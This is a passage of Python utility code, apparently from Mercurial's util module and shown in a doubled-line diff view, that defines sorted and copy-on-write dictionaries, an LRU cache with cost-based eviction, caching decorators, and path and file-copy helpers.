1245 '''a simple sorted dictionary
1246
1246
1247 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1247 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1248 >>> d2 = d1.copy()
1248 >>> d2 = d1.copy()
1249 >>> d2
1249 >>> d2
1250 sortdict([('a', 0), ('b', 1)])
1250 sortdict([('a', 0), ('b', 1)])
1251 >>> d2.update([(b'a', 2)])
1251 >>> d2.update([(b'a', 2)])
1252 >>> list(d2.keys()) # should still be in last-set order
1252 >>> list(d2.keys()) # should still be in last-set order
1253 ['b', 'a']
1253 ['b', 'a']
1254 '''
1254 '''
1255
1255
1256 def __setitem__(self, key, value):
1256 def __setitem__(self, key, value):
1257 if key in self:
1257 if key in self:
1258 del self[key]
1258 del self[key]
1259 super(sortdict, self).__setitem__(key, value)
1259 super(sortdict, self).__setitem__(key, value)
1260
1260
1261 if pycompat.ispypy:
1261 if pycompat.ispypy:
1262 # __setitem__() isn't called as of PyPy 5.8.0
1262 # __setitem__() isn't called as of PyPy 5.8.0
1263 def update(self, src):
1263 def update(self, src):
1264 if isinstance(src, dict):
1264 if isinstance(src, dict):
1265 src = pycompat.iteritems(src)
1265 src = pycompat.iteritems(src)
1266 for k, v in src:
1266 for k, v in src:
1267 self[k] = v
1267 self[k] = v
1268
1268
1269
1269
1270 class cowdict(cow, dict):
1270 class cowdict(cow, dict):
1271 """copy-on-write dict
1271 """copy-on-write dict
1272
1272
1273 Be sure to call d = d.preparewrite() before writing to d.
1273 Be sure to call d = d.preparewrite() before writing to d.
1274
1274
1275 >>> a = cowdict()
1275 >>> a = cowdict()
1276 >>> a is a.preparewrite()
1276 >>> a is a.preparewrite()
1277 True
1277 True
1278 >>> b = a.copy()
1278 >>> b = a.copy()
1279 >>> b is a
1279 >>> b is a
1280 True
1280 True
1281 >>> c = b.copy()
1281 >>> c = b.copy()
1282 >>> c is a
1282 >>> c is a
1283 True
1283 True
1284 >>> a = a.preparewrite()
1284 >>> a = a.preparewrite()
1285 >>> b is a
1285 >>> b is a
1286 False
1286 False
1287 >>> a is a.preparewrite()
1287 >>> a is a.preparewrite()
1288 True
1288 True
1289 >>> c = c.preparewrite()
1289 >>> c = c.preparewrite()
1290 >>> b is c
1290 >>> b is c
1291 False
1291 False
1292 >>> b is b.preparewrite()
1292 >>> b is b.preparewrite()
1293 True
1293 True
1294 """
1294 """
1295
1295
1296
1296
1297 class cowsortdict(cow, sortdict):
1297 class cowsortdict(cow, sortdict):
1298 """copy-on-write sortdict
1298 """copy-on-write sortdict
1299
1299
1300 Be sure to call d = d.preparewrite() before writing to d.
1300 Be sure to call d = d.preparewrite() before writing to d.
1301 """
1301 """
1302
1302
1303
1303
1304 class transactional(object): # pytype: disable=ignored-metaclass
1304 class transactional(object): # pytype: disable=ignored-metaclass
1305 """Base class for making a transactional type into a context manager."""
1305 """Base class for making a transactional type into a context manager."""
1306
1306
1307 __metaclass__ = abc.ABCMeta
1307 __metaclass__ = abc.ABCMeta
1308
1308
1309 @abc.abstractmethod
1309 @abc.abstractmethod
1310 def close(self):
1310 def close(self):
1311 """Successfully closes the transaction."""
1311 """Successfully closes the transaction."""
1312
1312
1313 @abc.abstractmethod
1313 @abc.abstractmethod
1314 def release(self):
1314 def release(self):
1315 """Marks the end of the transaction.
1315 """Marks the end of the transaction.
1316
1316
1317 If the transaction has not been closed, it will be aborted.
1317 If the transaction has not been closed, it will be aborted.
1318 """
1318 """
1319
1319
1320 def __enter__(self):
1320 def __enter__(self):
1321 return self
1321 return self
1322
1322
1323 def __exit__(self, exc_type, exc_val, exc_tb):
1323 def __exit__(self, exc_type, exc_val, exc_tb):
1324 try:
1324 try:
1325 if exc_type is None:
1325 if exc_type is None:
1326 self.close()
1326 self.close()
1327 finally:
1327 finally:
1328 self.release()
1328 self.release()
1329
1329
1330
1330
1331 @contextlib.contextmanager
1331 @contextlib.contextmanager
1332 def acceptintervention(tr=None):
1332 def acceptintervention(tr=None):
1333 """A context manager that closes the transaction on InterventionRequired
1333 """A context manager that closes the transaction on InterventionRequired
1334
1334
1335 If no transaction was provided, this simply runs the body and returns
1335 If no transaction was provided, this simply runs the body and returns
1336 """
1336 """
1337 if not tr:
1337 if not tr:
1338 yield
1338 yield
1339 return
1339 return
1340 try:
1340 try:
1341 yield
1341 yield
1342 tr.close()
1342 tr.close()
1343 except error.InterventionRequired:
1343 except error.InterventionRequired:
1344 tr.close()
1344 tr.close()
1345 raise
1345 raise
1346 finally:
1346 finally:
1347 tr.release()
1347 tr.release()
1348
1348
1349
1349
1350 @contextlib.contextmanager
1350 @contextlib.contextmanager
1351 def nullcontextmanager():
1351 def nullcontextmanager():
1352 yield
1352 yield
1353
1353
1354
1354
1355 class _lrucachenode(object):
1355 class _lrucachenode(object):
1356 """A node in a doubly linked list.
1356 """A node in a doubly linked list.
1357
1357
1358 Holds a reference to nodes on either side as well as a key-value
1358 Holds a reference to nodes on either side as well as a key-value
1359 pair for the dictionary entry.
1359 pair for the dictionary entry.
1360 """
1360 """
1361
1361
1362 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1362 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1363
1363
1364 def __init__(self):
1364 def __init__(self):
1365 self.next = None
1365 self.next = None
1366 self.prev = None
1366 self.prev = None
1367
1367
1368 self.key = _notset
1368 self.key = _notset
1369 self.value = None
1369 self.value = None
1370 self.cost = 0
1370 self.cost = 0
1371
1371
1372 def markempty(self):
1372 def markempty(self):
1373 """Mark the node as emptied."""
1373 """Mark the node as emptied."""
1374 self.key = _notset
1374 self.key = _notset
1375 self.value = None
1375 self.value = None
1376 self.cost = 0
1376 self.cost = 0
1377
1377
1378
1378
1379 class lrucachedict(object):
1379 class lrucachedict(object):
1380 """Dict that caches most recent accesses and sets.
1380 """Dict that caches most recent accesses and sets.
1381
1381
1382 The dict consists of an actual backing dict - indexed by original
1382 The dict consists of an actual backing dict - indexed by original
1383 key - and a doubly linked circular list defining the order of entries in
1383 key - and a doubly linked circular list defining the order of entries in
1384 the cache.
1384 the cache.
1385
1385
1386 The head node is the newest entry in the cache. If the cache is full,
1386 The head node is the newest entry in the cache. If the cache is full,
1387 we recycle head.prev and make it the new head. Cache accesses result in
1387 we recycle head.prev and make it the new head. Cache accesses result in
1388 the node being moved to before the existing head and being marked as the
1388 the node being moved to before the existing head and being marked as the
1389 new head node.
1389 new head node.
1390
1390
1391 Items in the cache can be inserted with an optional "cost" value. This is
1391 Items in the cache can be inserted with an optional "cost" value. This is
1392 simply an integer that is specified by the caller. The cache can be queried
1392 simply an integer that is specified by the caller. The cache can be queried
1393 for the total cost of all items presently in the cache.
1393 for the total cost of all items presently in the cache.
1394
1394
1395 The cache can also define a maximum cost. If a cache insertion would
1395 The cache can also define a maximum cost. If a cache insertion would
1396 cause the total cost of the cache to go beyond the maximum cost limit,
1396 cause the total cost of the cache to go beyond the maximum cost limit,
1397 nodes will be evicted to make room for the new code. This can be used
1397 nodes will be evicted to make room for the new code. This can be used
1398 to e.g. set a max memory limit and associate an estimated bytes size
1398 to e.g. set a max memory limit and associate an estimated bytes size
1399 cost to each item in the cache. By default, no maximum cost is enforced.
1399 cost to each item in the cache. By default, no maximum cost is enforced.
1400 """
1400 """
1401
1401
1402 def __init__(self, max, maxcost=0):
1402 def __init__(self, max, maxcost=0):
1403 self._cache = {}
1403 self._cache = {}
1404
1404
1405 self._head = head = _lrucachenode()
1405 self._head = head = _lrucachenode()
1406 head.prev = head
1406 head.prev = head
1407 head.next = head
1407 head.next = head
1408 self._size = 1
1408 self._size = 1
1409 self.capacity = max
1409 self.capacity = max
1410 self.totalcost = 0
1410 self.totalcost = 0
1411 self.maxcost = maxcost
1411 self.maxcost = maxcost
1412
1412
1413 def __len__(self):
1413 def __len__(self):
1414 return len(self._cache)
1414 return len(self._cache)
1415
1415
1416 def __contains__(self, k):
1416 def __contains__(self, k):
1417 return k in self._cache
1417 return k in self._cache
1418
1418
1419 def __iter__(self):
1419 def __iter__(self):
1420 # We don't have to iterate in cache order, but why not.
1420 # We don't have to iterate in cache order, but why not.
1421 n = self._head
1421 n = self._head
1422 for i in range(len(self._cache)):
1422 for i in range(len(self._cache)):
1423 yield n.key
1423 yield n.key
1424 n = n.next
1424 n = n.next
1425
1425
1426 def __getitem__(self, k):
1426 def __getitem__(self, k):
1427 node = self._cache[k]
1427 node = self._cache[k]
1428 self._movetohead(node)
1428 self._movetohead(node)
1429 return node.value
1429 return node.value
1430
1430
1431 def insert(self, k, v, cost=0):
1431 def insert(self, k, v, cost=0):
1432 """Insert a new item in the cache with optional cost value."""
1432 """Insert a new item in the cache with optional cost value."""
1433 node = self._cache.get(k)
1433 node = self._cache.get(k)
1434 # Replace existing value and mark as newest.
1434 # Replace existing value and mark as newest.
1435 if node is not None:
1435 if node is not None:
1436 self.totalcost -= node.cost
1436 self.totalcost -= node.cost
1437 node.value = v
1437 node.value = v
1438 node.cost = cost
1438 node.cost = cost
1439 self.totalcost += cost
1439 self.totalcost += cost
1440 self._movetohead(node)
1440 self._movetohead(node)
1441
1441
1442 if self.maxcost:
1442 if self.maxcost:
1443 self._enforcecostlimit()
1443 self._enforcecostlimit()
1444
1444
1445 return
1445 return
1446
1446
1447 if self._size < self.capacity:
1447 if self._size < self.capacity:
1448 node = self._addcapacity()
1448 node = self._addcapacity()
1449 else:
1449 else:
1450 # Grab the last/oldest item.
1450 # Grab the last/oldest item.
1451 node = self._head.prev
1451 node = self._head.prev
1452
1452
1453 # At capacity. Kill the old entry.
1453 # At capacity. Kill the old entry.
1454 if node.key is not _notset:
1454 if node.key is not _notset:
1455 self.totalcost -= node.cost
1455 self.totalcost -= node.cost
1456 del self._cache[node.key]
1456 del self._cache[node.key]
1457
1457
1458 node.key = k
1458 node.key = k
1459 node.value = v
1459 node.value = v
1460 node.cost = cost
1460 node.cost = cost
1461 self.totalcost += cost
1461 self.totalcost += cost
1462 self._cache[k] = node
1462 self._cache[k] = node
1463 # And mark it as newest entry. No need to adjust order since it
1463 # And mark it as newest entry. No need to adjust order since it
1464 # is already self._head.prev.
1464 # is already self._head.prev.
1465 self._head = node
1465 self._head = node
1466
1466
1467 if self.maxcost:
1467 if self.maxcost:
1468 self._enforcecostlimit()
1468 self._enforcecostlimit()
1469
1469
1470 def __setitem__(self, k, v):
1470 def __setitem__(self, k, v):
1471 self.insert(k, v)
1471 self.insert(k, v)
1472
1472
1473 def __delitem__(self, k):
1473 def __delitem__(self, k):
1474 self.pop(k)
1474 self.pop(k)
1475
1475
1476 def pop(self, k, default=_notset):
1476 def pop(self, k, default=_notset):
1477 try:
1477 try:
1478 node = self._cache.pop(k)
1478 node = self._cache.pop(k)
1479 except KeyError:
1479 except KeyError:
1480 if default is _notset:
1480 if default is _notset:
1481 raise
1481 raise
1482 return default
1482 return default
1483 value = node.value
1483 value = node.value
1484 self.totalcost -= node.cost
1484 self.totalcost -= node.cost
1485 node.markempty()
1485 node.markempty()
1486
1486
1487 # Temporarily mark as newest item before re-adjusting head to make
1487 # Temporarily mark as newest item before re-adjusting head to make
1488 # this node the oldest item.
1488 # this node the oldest item.
1489 self._movetohead(node)
1489 self._movetohead(node)
1490 self._head = node.next
1490 self._head = node.next
1491
1491
1492 return value
1492 return value
1493
1493
1494 # Additional dict methods.
1494 # Additional dict methods.
1495
1495
1496 def get(self, k, default=None):
1496 def get(self, k, default=None):
1497 try:
1497 try:
1498 return self.__getitem__(k)
1498 return self.__getitem__(k)
1499 except KeyError:
1499 except KeyError:
1500 return default
1500 return default
1501
1501
1502 def peek(self, k, default=_notset):
1502 def peek(self, k, default=_notset):
1503 """Get the specified item without moving it to the head
1503 """Get the specified item without moving it to the head
1504
1504
1505 Unlike get(), this doesn't mutate the internal state. But be aware
1505 Unlike get(), this doesn't mutate the internal state. But be aware
1506 that it doesn't mean peek() is thread safe.
1506 that it doesn't mean peek() is thread safe.
1507 """
1507 """
1508 try:
1508 try:
1509 node = self._cache[k]
1509 node = self._cache[k]
1510 return node.value
1510 return node.value
1511 except KeyError:
1511 except KeyError:
1512 if default is _notset:
1512 if default is _notset:
1513 raise
1513 raise
1514 return default
1514 return default
1515
1515
1516 def clear(self):
1516 def clear(self):
1517 n = self._head
1517 n = self._head
1518 while n.key is not _notset:
1518 while n.key is not _notset:
1519 self.totalcost -= n.cost
1519 self.totalcost -= n.cost
1520 n.markempty()
1520 n.markempty()
1521 n = n.next
1521 n = n.next
1522
1522
1523 self._cache.clear()
1523 self._cache.clear()
1524
1524
1525 def copy(self, capacity=None, maxcost=0):
1525 def copy(self, capacity=None, maxcost=0):
1526 """Create a new cache as a copy of the current one.
1526 """Create a new cache as a copy of the current one.
1527
1527
1528 By default, the new cache has the same capacity as the existing one.
1528 By default, the new cache has the same capacity as the existing one.
1529 But, the cache capacity can be changed as part of performing the
1529 But, the cache capacity can be changed as part of performing the
1530 copy.
1530 copy.
1531
1531
1532 Items in the copy have an insertion/access order matching this
1532 Items in the copy have an insertion/access order matching this
1533 instance.
1533 instance.
1534 """
1534 """
1535
1535
1536 capacity = capacity or self.capacity
1536 capacity = capacity or self.capacity
1537 maxcost = maxcost or self.maxcost
1537 maxcost = maxcost or self.maxcost
1538 result = lrucachedict(capacity, maxcost=maxcost)
1538 result = lrucachedict(capacity, maxcost=maxcost)
1539
1539
1540 # We copy entries by iterating in oldest-to-newest order so the copy
1540 # We copy entries by iterating in oldest-to-newest order so the copy
1541 # has the correct ordering.
1541 # has the correct ordering.
1542
1542
1543 # Find the first non-empty entry.
1543 # Find the first non-empty entry.
1544 n = self._head.prev
1544 n = self._head.prev
1545 while n.key is _notset and n is not self._head:
1545 while n.key is _notset and n is not self._head:
1546 n = n.prev
1546 n = n.prev
1547
1547
1548 # We could potentially skip the first N items when decreasing capacity.
1548 # We could potentially skip the first N items when decreasing capacity.
1549 # But let's keep it simple unless it is a performance problem.
1549 # But let's keep it simple unless it is a performance problem.
1550 for i in range(len(self._cache)):
1550 for i in range(len(self._cache)):
1551 result.insert(n.key, n.value, cost=n.cost)
1551 result.insert(n.key, n.value, cost=n.cost)
1552 n = n.prev
1552 n = n.prev
1553
1553
1554 return result
1554 return result
1555
1555
1556 def popoldest(self):
1556 def popoldest(self):
1557 """Remove the oldest item from the cache.
1557 """Remove the oldest item from the cache.
1558
1558
1559 Returns the (key, value) describing the removed cache entry.
1559 Returns the (key, value) describing the removed cache entry.
1560 """
1560 """
1561 if not self._cache:
1561 if not self._cache:
1562 return
1562 return
1563
1563
1564 # Walk the linked list backwards starting at tail node until we hit
1564 # Walk the linked list backwards starting at tail node until we hit
1565 # a non-empty node.
1565 # a non-empty node.
1566 n = self._head.prev
1566 n = self._head.prev
1567 while n.key is _notset:
1567 while n.key is _notset:
1568 n = n.prev
1568 n = n.prev
1569
1569
1570 key, value = n.key, n.value
1570 key, value = n.key, n.value
1571
1571
1572 # And remove it from the cache and mark it as empty.
1572 # And remove it from the cache and mark it as empty.
1573 del self._cache[n.key]
1573 del self._cache[n.key]
1574 self.totalcost -= n.cost
1574 self.totalcost -= n.cost
1575 n.markempty()
1575 n.markempty()
1576
1576
1577 return key, value
1577 return key, value
1578
1578
1579 def _movetohead(self, node):
1579 def _movetohead(self, node):
1580 """Mark a node as the newest, making it the new head.
1580 """Mark a node as the newest, making it the new head.
1581
1581
1582 When a node is accessed, it becomes the freshest entry in the LRU
1582 When a node is accessed, it becomes the freshest entry in the LRU
1583 list, which is denoted by self._head.
1583 list, which is denoted by self._head.
1584
1584
1585 Visually, let's make ``N`` the new head node (* denotes head):
1585 Visually, let's make ``N`` the new head node (* denotes head):
1586
1586
1587 previous/oldest <-> head <-> next/next newest
1587 previous/oldest <-> head <-> next/next newest
1588
1588
1589 ----<->--- A* ---<->-----
1589 ----<->--- A* ---<->-----
1590 | |
1590 | |
1591 E <-> D <-> N <-> C <-> B
1591 E <-> D <-> N <-> C <-> B
1592
1592
1593 To:
1593 To:
1594
1594
1595 ----<->--- N* ---<->-----
1595 ----<->--- N* ---<->-----
1596 | |
1596 | |
1597 E <-> D <-> C <-> B <-> A
1597 E <-> D <-> C <-> B <-> A
1598
1598
1599 This requires the following moves:
1599 This requires the following moves:
1600
1600
1601 C.next = D (node.prev.next = node.next)
1601 C.next = D (node.prev.next = node.next)
1602 D.prev = C (node.next.prev = node.prev)
1602 D.prev = C (node.next.prev = node.prev)
1603 E.next = N (head.prev.next = node)
1603 E.next = N (head.prev.next = node)
1604 N.prev = E (node.prev = head.prev)
1604 N.prev = E (node.prev = head.prev)
1605 N.next = A (node.next = head)
1605 N.next = A (node.next = head)
1606 A.prev = N (head.prev = node)
1606 A.prev = N (head.prev = node)
1607 """
1607 """
1608 head = self._head
1608 head = self._head
1609 # C.next = D
1609 # C.next = D
1610 node.prev.next = node.next
1610 node.prev.next = node.next
1611 # D.prev = C
1611 # D.prev = C
1612 node.next.prev = node.prev
1612 node.next.prev = node.prev
1613 # N.prev = E
1613 # N.prev = E
1614 node.prev = head.prev
1614 node.prev = head.prev
1615 # N.next = A
1615 # N.next = A
1616 # It is tempting to do just "head" here, however if node is
1616 # It is tempting to do just "head" here, however if node is
1617 # adjacent to head, this will do bad things.
1617 # adjacent to head, this will do bad things.
1618 node.next = head.prev.next
1618 node.next = head.prev.next
1619 # E.next = N
1619 # E.next = N
1620 node.next.prev = node
1620 node.next.prev = node
1621 # A.prev = N
1621 # A.prev = N
1622 node.prev.next = node
1622 node.prev.next = node
1623
1623
1624 self._head = node
1624 self._head = node
1625
1625
1626 def _addcapacity(self):
1626 def _addcapacity(self):
1627 """Add a node to the circular linked list.
1627 """Add a node to the circular linked list.
1628
1628
1629 The new node is inserted before the head node.
1629 The new node is inserted before the head node.
1630 """
1630 """
1631 head = self._head
1631 head = self._head
1632 node = _lrucachenode()
1632 node = _lrucachenode()
1633 head.prev.next = node
1633 head.prev.next = node
1634 node.prev = head.prev
1634 node.prev = head.prev
1635 node.next = head
1635 node.next = head
1636 head.prev = node
1636 head.prev = node
1637 self._size += 1
1637 self._size += 1
1638 return node
1638 return node
1639
1639
1640 def _enforcecostlimit(self):
1640 def _enforcecostlimit(self):
1641 # This should run after an insertion. It should only be called if total
1641 # This should run after an insertion. It should only be called if total
1642 # cost limits are being enforced.
1642 # cost limits are being enforced.
1643 # The most recently inserted node is never evicted.
1643 # The most recently inserted node is never evicted.
1644 if len(self) <= 1 or self.totalcost <= self.maxcost:
1644 if len(self) <= 1 or self.totalcost <= self.maxcost:
1645 return
1645 return
1646
1646
1647 # This is logically equivalent to calling popoldest() until we
1647 # This is logically equivalent to calling popoldest() until we
1648 # free up enough cost. We don't do that since popoldest() needs
1648 # free up enough cost. We don't do that since popoldest() needs
1649 # to walk the linked list and doing this in a loop would be
1649 # to walk the linked list and doing this in a loop would be
1650 # quadratic. So we find the first non-empty node and then
1650 # quadratic. So we find the first non-empty node and then
1651 # walk nodes until we free up enough capacity.
1651 # walk nodes until we free up enough capacity.
1652 #
1652 #
1653 # If we only removed the minimum number of nodes to free enough
1653 # If we only removed the minimum number of nodes to free enough
1654 # cost at insert time, chances are high that the next insert would
1654 # cost at insert time, chances are high that the next insert would
1655 # also require pruning. This would effectively constitute quadratic
1655 # also require pruning. This would effectively constitute quadratic
1656 # behavior for insert-heavy workloads. To mitigate this, we set a
1656 # behavior for insert-heavy workloads. To mitigate this, we set a
1657 # target cost that is a percentage of the max cost. This will tend
1657 # target cost that is a percentage of the max cost. This will tend
1658 # to free more nodes when the high water mark is reached, which
1658 # to free more nodes when the high water mark is reached, which
1659 # lowers the chances of needing to prune on the subsequent insert.
1659 # lowers the chances of needing to prune on the subsequent insert.
1660 targetcost = int(self.maxcost * 0.75)
1660 targetcost = int(self.maxcost * 0.75)
1661
1661
1662 n = self._head.prev
1662 n = self._head.prev
1663 while n.key is _notset:
1663 while n.key is _notset:
1664 n = n.prev
1664 n = n.prev
1665
1665
1666 while len(self) > 1 and self.totalcost > targetcost:
1666 while len(self) > 1 and self.totalcost > targetcost:
1667 del self._cache[n.key]
1667 del self._cache[n.key]
1668 self.totalcost -= n.cost
1668 self.totalcost -= n.cost
1669 n.markempty()
1669 n.markempty()
1670 n = n.prev
1670 n = n.prev
1671
1671
1672
1672
1673 def lrucachefunc(func):
1673 def lrucachefunc(func):
1674 '''cache most recent results of function calls'''
1674 '''cache most recent results of function calls'''
1675 cache = {}
1675 cache = {}
1676 order = collections.deque()
1676 order = collections.deque()
1677 if func.__code__.co_argcount == 1:
1677 if func.__code__.co_argcount == 1:
1678
1678
1679 def f(arg):
1679 def f(arg):
1680 if arg not in cache:
1680 if arg not in cache:
1681 if len(cache) > 20:
1681 if len(cache) > 20:
1682 del cache[order.popleft()]
1682 del cache[order.popleft()]
1683 cache[arg] = func(arg)
1683 cache[arg] = func(arg)
1684 else:
1684 else:
1685 order.remove(arg)
1685 order.remove(arg)
1686 order.append(arg)
1686 order.append(arg)
1687 return cache[arg]
1687 return cache[arg]
1688
1688
1689 else:
1689 else:
1690
1690
1691 def f(*args):
1691 def f(*args):
1692 if args not in cache:
1692 if args not in cache:
1693 if len(cache) > 20:
1693 if len(cache) > 20:
1694 del cache[order.popleft()]
1694 del cache[order.popleft()]
1695 cache[args] = func(*args)
1695 cache[args] = func(*args)
1696 else:
1696 else:
1697 order.remove(args)
1697 order.remove(args)
1698 order.append(args)
1698 order.append(args)
1699 return cache[args]
1699 return cache[args]
1700
1700
1701 return f
1701 return f
1702
1702
1703
1703
1704 class propertycache(object):
1704 class propertycache(object):
1705 def __init__(self, func):
1705 def __init__(self, func):
1706 self.func = func
1706 self.func = func
1707 self.name = func.__name__
1707 self.name = func.__name__
1708
1708
1709 def __get__(self, obj, type=None):
1709 def __get__(self, obj, type=None):
1710 result = self.func(obj)
1710 result = self.func(obj)
1711 self.cachevalue(obj, result)
1711 self.cachevalue(obj, result)
1712 return result
1712 return result
1713
1713
1714 def cachevalue(self, obj, value):
1714 def cachevalue(self, obj, value):
1715 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1715 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1716 obj.__dict__[self.name] = value
1716 obj.__dict__[self.name] = value
1717
1717
1718
1718
1719 def clearcachedproperty(obj, prop):
1719 def clearcachedproperty(obj, prop):
1720 '''clear a cached property value, if one has been set'''
1720 '''clear a cached property value, if one has been set'''
1721 prop = pycompat.sysstr(prop)
1721 prop = pycompat.sysstr(prop)
1722 if prop in obj.__dict__:
1722 if prop in obj.__dict__:
1723 del obj.__dict__[prop]
1723 del obj.__dict__[prop]
1724
1724
1725
1725
1726 def increasingchunks(source, min=1024, max=65536):
1726 def increasingchunks(source, min=1024, max=65536):
1727 '''return no less than min bytes per chunk while data remains,
1727 '''return no less than min bytes per chunk while data remains,
1728 doubling min after each chunk until it reaches max'''
1728 doubling min after each chunk until it reaches max'''
1729
1729
1730 def log2(x):
1730 def log2(x):
1731 if not x:
1731 if not x:
1732 return 0
1732 return 0
1733 i = 0
1733 i = 0
1734 while x:
1734 while x:
1735 x >>= 1
1735 x >>= 1
1736 i += 1
1736 i += 1
1737 return i - 1
1737 return i - 1
1738
1738
1739 buf = []
1739 buf = []
1740 blen = 0
1740 blen = 0
1741 for chunk in source:
1741 for chunk in source:
1742 buf.append(chunk)
1742 buf.append(chunk)
1743 blen += len(chunk)
1743 blen += len(chunk)
1744 if blen >= min:
1744 if blen >= min:
1745 if min < max:
1745 if min < max:
1746 min = min << 1
1746 min = min << 1
1747 nmin = 1 << log2(blen)
1747 nmin = 1 << log2(blen)
1748 if nmin > min:
1748 if nmin > min:
1749 min = nmin
1749 min = nmin
1750 if min > max:
1750 if min > max:
1751 min = max
1751 min = max
1752 yield b''.join(buf)
1752 yield b''.join(buf)
1753 blen = 0
1753 blen = 0
1754 buf = []
1754 buf = []
1755 if buf:
1755 if buf:
1756 yield b''.join(buf)
1756 yield b''.join(buf)
1757
1757
1758
1758
1759 def always(fn):
1759 def always(fn):
1760 return True
1760 return True
1761
1761
1762
1762
1763 def never(fn):
1763 def never(fn):
1764 return False
1764 return False
1765
1765
1766
1766
1767 def nogc(func):
1767 def nogc(func):
1768 """disable garbage collector
1768 """disable garbage collector
1769
1769
1770 Python's garbage collector triggers a GC each time a certain number of
1770 Python's garbage collector triggers a GC each time a certain number of
1771 container objects (the number being defined by gc.get_threshold()) are
1771 container objects (the number being defined by gc.get_threshold()) are
1772 allocated even when marked not to be tracked by the collector. Tracking has
1772 allocated even when marked not to be tracked by the collector. Tracking has
1773 no effect on when GCs are triggered, only on what objects the GC looks
1773 no effect on when GCs are triggered, only on what objects the GC looks
1774 into. As a workaround, disable GC while building complex (huge)
1774 into. As a workaround, disable GC while building complex (huge)
1775 containers.
1775 containers.
1776
1776
1777 This garbage collector issue have been fixed in 2.7. But it still affect
1777 This garbage collector issue have been fixed in 2.7. But it still affect
1778 CPython's performance.
1778 CPython's performance.
1779 """
1779 """
1780
1780
1781 def wrapper(*args, **kwargs):
1781 def wrapper(*args, **kwargs):
1782 gcenabled = gc.isenabled()
1782 gcenabled = gc.isenabled()
1783 gc.disable()
1783 gc.disable()
1784 try:
1784 try:
1785 return func(*args, **kwargs)
1785 return func(*args, **kwargs)
1786 finally:
1786 finally:
1787 if gcenabled:
1787 if gcenabled:
1788 gc.enable()
1788 gc.enable()
1789
1789
1790 return wrapper
1790 return wrapper
1791
1791
1792
1792
1793 if pycompat.ispypy:
1793 if pycompat.ispypy:
1794 # PyPy runs slower with gc disabled
1794 # PyPy runs slower with gc disabled
1795 nogc = lambda x: x
1795 nogc = lambda x: x
1796
1796
1797
1797
1798 def pathto(root, n1, n2):
1798 def pathto(root, n1, n2):
1799 '''return the relative path from one place to another.
1799 '''return the relative path from one place to another.
1800 root should use os.sep to separate directories
1800 root should use os.sep to separate directories
1801 n1 should use os.sep to separate directories
1801 n1 should use os.sep to separate directories
1802 n2 should use "/" to separate directories
1802 n2 should use "/" to separate directories
1803 returns an os.sep-separated path.
1803 returns an os.sep-separated path.
1804
1804
1805 If n1 is a relative path, it's assumed it's
1805 If n1 is a relative path, it's assumed it's
1806 relative to root.
1806 relative to root.
1807 n2 should always be relative to root.
1807 n2 should always be relative to root.
1808 '''
1808 '''
1809 if not n1:
1809 if not n1:
1810 return localpath(n2)
1810 return localpath(n2)
1811 if os.path.isabs(n1):
1811 if os.path.isabs(n1):
1812 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1812 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1813 return os.path.join(root, localpath(n2))
1813 return os.path.join(root, localpath(n2))
1814 n2 = b'/'.join((pconvert(root), n2))
1814 n2 = b'/'.join((pconvert(root), n2))
1815 a, b = splitpath(n1), n2.split(b'/')
1815 a, b = splitpath(n1), n2.split(b'/')
1816 a.reverse()
1816 a.reverse()
1817 b.reverse()
1817 b.reverse()
1818 while a and b and a[-1] == b[-1]:
1818 while a and b and a[-1] == b[-1]:
1819 a.pop()
1819 a.pop()
1820 b.pop()
1820 b.pop()
1821 b.reverse()
1821 b.reverse()
1822 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1822 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1823
1823
1824
1824
1825 def checksignature(func):
1825 def checksignature(func):
1826 '''wrap a function with code to check for calling errors'''
1826 '''wrap a function with code to check for calling errors'''
1827
1827
1828 def check(*args, **kwargs):
1828 def check(*args, **kwargs):
1829 try:
1829 try:
1830 return func(*args, **kwargs)
1830 return func(*args, **kwargs)
1831 except TypeError:
1831 except TypeError:
1832 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1832 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1833 raise error.SignatureError
1833 raise error.SignatureError
1834 raise
1834 raise
1835
1835
1836 return check
1836 return check
1837
1837
1838
1838
1839 # a whilelist of known filesystems where hardlink works reliably
1839 # a whilelist of known filesystems where hardlink works reliably
1840 _hardlinkfswhitelist = {
1840 _hardlinkfswhitelist = {
1841 b'apfs',
1841 b'apfs',
1842 b'btrfs',
1842 b'btrfs',
1843 b'ext2',
1843 b'ext2',
1844 b'ext3',
1844 b'ext3',
1845 b'ext4',
1845 b'ext4',
1846 b'hfs',
1846 b'hfs',
1847 b'jfs',
1847 b'jfs',
1848 b'NTFS',
1848 b'NTFS',
1849 b'reiserfs',
1849 b'reiserfs',
1850 b'tmpfs',
1850 b'tmpfs',
1851 b'ufs',
1851 b'ufs',
1852 b'xfs',
1852 b'xfs',
1853 b'zfs',
1853 b'zfs',
1854 }
1854 }
1855
1855
1856
1856
1857 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1857 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1858 '''copy a file, preserving mode and optionally other stat info like
1858 '''copy a file, preserving mode and optionally other stat info like
1859 atime/mtime
1859 atime/mtime
1860
1860
1861 checkambig argument is used with filestat, and is useful only if
1861 checkambig argument is used with filestat, and is useful only if
1862 destination file is guarded by any lock (e.g. repo.lock or
1862 destination file is guarded by any lock (e.g. repo.lock or
1863 repo.wlock).
1863 repo.wlock).
1864
1864
1865 copystat and checkambig should be exclusive.
1865 copystat and checkambig should be exclusive.
1866 '''
1866 '''
1867 assert not (copystat and checkambig)
1867 assert not (copystat and checkambig)
1868 oldstat = None
1868 oldstat = None
1869 if os.path.lexists(dest):
1869 if os.path.lexists(dest):
1870 if checkambig:
1870 if checkambig:
1871 oldstat = checkambig and filestat.frompath(dest)
1871 oldstat = checkambig and filestat.frompath(dest)
1872 unlink(dest)
1872 unlink(dest)
1873 if hardlink:
1873 if hardlink:
1874 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
